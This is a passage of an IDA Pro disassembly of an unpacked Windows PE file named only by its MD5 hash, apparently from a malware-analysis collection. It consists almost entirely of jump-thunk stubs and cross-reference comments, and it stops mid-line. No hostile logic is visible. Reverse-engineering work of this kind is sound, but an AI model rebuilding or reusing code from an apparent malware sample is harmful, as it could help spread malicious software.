; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 61FEC1AEA2B2B3AE2E7E8BDADAB920AD ; File Name : u:\work\61fec1aea2b2b3ae2e7e8bdadab920ad_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00112000 (1122304.) ; Section size in file : 00112000 (1122304.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_430920 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43F08Co jmp loc_412D70 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421BF0+29p jmp sub_422150 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_432540 ; --------------------------------------------------------------------------- jmp loc_420DA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:00412AA3p jmp sub_412AD0 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B28Dp ; ___:0040B29Ap ... jmp sub_406B80 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FA90+34p jmp sub_40B0D0 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404C30+616p ; sub_404C30+6D5p ... jmp sub_40A100 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42B3F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_4135D0+3Bp ; ___:00414BF0p jmp sub_4156C0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_430B30+6Ep ; sub_430B30+8Ap ... jmp sub_4342D0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:00430212p ; sub_430B30+3Fp ... jmp sub_434150 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423A40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D200 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B0D0+3Ap ; sub_40B140+1Ap jmp sub_433C70 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E660+37Bp jmp sub_421D30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C190+8p jmp sub_40C350 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap ; sub_434A00+50p jmp sub_432BB0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43F054o jmp sub_41C710 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416E6Ap jmp sub_41FBD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40C030+32p jmp sub_40C1F0 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416E7Ap jmp sub_418250 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415910+6Ap ; sub_416370+32p jmp sub_4162B0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E660+161p ; sub_4224E0+3p jmp sub_421B50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ADB0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421D30+3p ; ___:004220FFp ... jmp sub_422270 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C4D0+43p jmp sub_40CBA0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_429120 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_4075C0+Ap jmp sub_407660 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p ; sub_424870+6p ... jmp sub_4245E0 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p ; sub_431EF0+14Fp jmp sub_4340E0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p jmp sub_431C80 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043F174o jmp sub_42B0B0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43F090o jmp loc_41E2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_4182F0+D0p ; sub_418450+2Dp jmp sub_4189E0 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_40FE30+8D9p ; sub_40FE30+990p ... jmp sub_412A20 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:00430626p ; ___:00430694p ... jmp sub_4321F0 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421E50+9p ; sub_422340+18p jmp sub_4224C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40AAC0+58p ; sub_40AAC0+82p ... jmp sub_40ACB0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p ; ___:00423BA6p ... jmp sub_419BE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416100+7p jmp sub_416730 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_4155F0+5Bp ; sub_415F60+11p ... jmp sub_4161B0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_42AE10+58p jmp sub_42AC80 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp jmp sub_421DB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_4220B0+11p ; ___:004220D7p ... jmp sub_4225D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413E20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421B30+3p ; ___:00421E9Fp ... jmp sub_422010 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_4144C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_428210+3p jmp sub_428240 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415AF0+11p ; ___:00415B17p ... jmp sub_416560 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_434600 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421C60+5p ; sub_421D50+6p ... jmp sub_422250 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416B4Bp ; ___:0043B25Ej ... jmp sub_417A20 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404C30+6Ap ; sub_404C30+1AFp ... jmp sub_412590 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43F0ACo jmp sub_419300 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_432D10+6p ; ___:00432D23p ... jmp sub_430770 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42F6C0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43F15Co jmp loc_42AF80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423D9Dp jmp sub_423860 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_433240 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:00415168p jmp sub_415A80 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41BA50+F7p ; sub_41BA50+10Bp ... jmp sub_409F70 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_4099E0+Ap jmp sub_409AD0 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_413490+55p ; sub_413490+94p ... jmp sub_415850 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425100+18Cp ; ___:00425F7Dp jmp sub_4236F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414C7Ep jmp sub_4155F0 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_4288F0+3p jmp sub_428920 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43F038o jmp loc_412AA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415EC0+11p ; ___:00415EE7p ... jmp sub_4166E0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_421870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418C00+23p ; sub_418E70+11p jmp sub_418F50 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418A50+3p ; sub_418F80+54p ... jmp sub_418DD0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_4096D0+6Ap ; sub_4096D0+103p jmp sub_409970 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_433B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413E3Dp jmp sub_413C30 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A2E4p jmp sub_41B0B0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_413490+88p ; sub_414890+BFp ... jmp sub_415A20 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_430770+7p ; sub_4307E0+19p ... jmp sub_434BA0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DBE0 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:0043239Ap jmp sub_431D40 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_407230+11p ; sub_4073C0+1Fp jmp sub_407460 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_403700+3B5p ; sub_403700+3C5p ... jmp sub_403DC0 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421D10+3p jmp sub_422290 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C320+Ap jmp sub_40C3E0 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_403700+1Dp ; sub_407080+1Fp ... jmp sub_403C30 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413334p ; ___:0043AC8Cj ... jmp sub_415480 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42C640+3p jmp sub_42C670 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AFD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414C8Dp jmp sub_414D30 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407660+7p ; sub_409AD0+7p ... jmp sub_407690 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_4135D0+73p ; ___:00414C2Dp ... jmp sub_4156E0 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E660+58p jmp sub_420530 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413E60+84p jmp sub_4138A0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00433718p jmp sub_431060 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_407510+8p jmp sub_4075F0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404C30+9Fp ; sub_404C30+230p ... jmp sub_40A500 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A860+21p ; sub_40AAC0+A5p jmp sub_40AAA0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40B040 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A500+129p ; sub_40A8E0+4p ... jmp sub_40A8B0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo jmp sub_4277B0 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004335ADp jmp sub_430D60 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_407340+3p ; ___:0040740Fp ... jmp sub_4074D0 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D830+346p ; sub_41D830+410p ... jmp sub_421970 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421BB0+11p ; sub_4220B0+1Fp jmp sub_4221E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42C7E0+3p jmp sub_42C810 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_4077E0 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C1F0+5Fp jmp sub_40C3C0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_403530+F6p ; sub_403530+12Ep ... jmp sub_409D00 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E660+113p ; sub_41E660+124p jmp sub_421B30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043F06Co jmp sub_41F860 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416BEBp ; ___:0043B1D2j ... jmp sub_417670 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AF90+Fp jmp sub_431240 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418C00+32p jmp sub_418E70 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_434860 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_4154F0+5p ; sub_415700+6p ... jmp sub_416120 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BD80+29p ; sub_40BEA0+29p jmp sub_40C030 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E660+3E9p ; ___:0043C45Bj jmp sub_421BF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_414590+BFp jmp sub_4152D0 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4165D0+Ap jmp sub_416910 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416C57p ; ___:0043B173j ... jmp sub_416F70 sub_401262 endp ; --------------------------------------------------------------------------- jmp sub_418B00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40126C proc near jmp sub_4182F0 sub_40126C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416DDFp jmp sub_417F90 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414750 ; --------------------------------------------------------------------------- jmp loc_430320 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_40FE30+387p ; sub_41EF30+21Dp ... jmp sub_41B7E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416E1Ap jmp sub_418140 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409560+8p jmp sub_4095B0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_42AF80 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_4096D0+A5p ; sub_4127E0+21p jmp sub_4098E0 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404C30+382p ; sub_41D830+5AAp jmp sub_41C130 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416D2Fp jmp sub_403700 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418CB0+23p ; sub_418F80+11p jmp sub_4190D0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424920+Cp ; sub_424920+3Ep ... jmp sub_424410 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_430960 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404C30+85Ap ; sub_404C30+AD6p ... jmp sub_40A360 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042FE06p ; ___:0042FE56p ... jmp sub_432780 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E660+367p ; sub_41E660+3D4p ... jmp sub_421D80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_427D50+107o jmp sub_427FD0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424800+18p ; sub_424840+Ap ... jmp sub_4247B0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416210+9p ; sub_4162B0+18p jmp sub_4168C0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_432570+32o jmp sub_432D70 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42FE50 ; --------------------------------------------------------------------------- jmp loc_419CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_42AC80+67p jmp sub_41FEF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:004301E8p ; sub_4303A0+2p ... jmp sub_431560 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413730+3Fp ; sub_414590+40p ... jmp sub_415220 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404600+19Fp ; sub_404600+212p ... jmp sub_409FC0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p ; sub_424F70+F1p jmp sub_424F00 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425100+130p jmp sub_424F70 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416DFAp jmp sub_418040 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416DCFp jmp sub_417ED0 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4316C0+1p jmp sub_431750 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00427201p jmp sub_427740 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_4182F0+71p ; sub_4182F0+BBp ... jmp sub_4189B0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A170+7p jmp sub_40A190 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004329C8p ; sub_432A20+2Bp jmp sub_432BF0 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_432570+1p jmp sub_4327B0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp jmp sub_421CD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414420+5Bp jmp sub_4150F0 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_415480+29p ; sub_4155A0+29p jmp sub_416020 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00437232p ; ___:00437242p ... jmp sub_4370F0 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_413490+5Fp ; sub_413490+9Ep ... jmp sub_415A50 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B5F0+62p ; ___:0040BAB8p ... jmp sub_40BF30 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4313B0 ; --------------------------------------------------------------------------- jmp loc_42FF30 ; --------------------------------------------------------------------------- loc_40134D: ; DATA XREF: ___:0043F1A8o jmp loc_42C690 ; --------------------------------------------------------------------------- jmp loc_42C5D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416180+8p jmp sub_4167A0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_413490+71p ; sub_413490:loc_41355Cp ... jmp sub_415A00 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_4182F0+AFp ; sub_4190D0+3p jmp sub_418A70 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043F104o jmp sub_427D50 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B5F0+39p ; sub_40B5F0+78p ... jmp sub_40BF60 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_426A90+29p ; sub_426A90+38p jmp sub_4269A0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A600+1Cp jmp sub_41A640 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043F164o jmp sub_42AE10 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408C96p ; ___:00414541p jmp sub_4142F0 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418450+72p jmp sub_406C80 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409DF0+7p ; sub_409F40+7p ... jmp sub_40A7D0 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43F058o jmp sub_422B40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413BA0 ; --------------------------------------------------------------------------- jmp sub_42C640 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_4188C0+11p ; sub_421DB0+1Fp jmp sub_418D40 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C5C0 loc_4013A2: ; CODE XREF: sub_42C5C0+3j jmp sub_42BB00 ; END OF FUNCTION CHUNK FOR sub_42C5C0 ; --------------------------------------------------------------------------- jmp sub_42C7E0 ; --------------------------------------------------------------------------- jmp loc_42FEA0 ; --------------------------------------------------------------------------- jmp loc_414B20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp jmp sub_4073C0 sub_4013B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp jmp sub_4253C0 sub_4013BB endp ; --------------------------------------------------------------------------- jmp loc_42FAA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C5 proc near ; CODE XREF: sub_412830+3p ; ___:00416BDBp ... jmp sub_412860 sub_4013C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CA proc near ; CODE XREF: sub_426560+Cp ; sub_4266D0+Ap ... jmp sub_426520 sub_4013CA endp ; --------------------------------------------------------------------------- jmp loc_40D3B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: 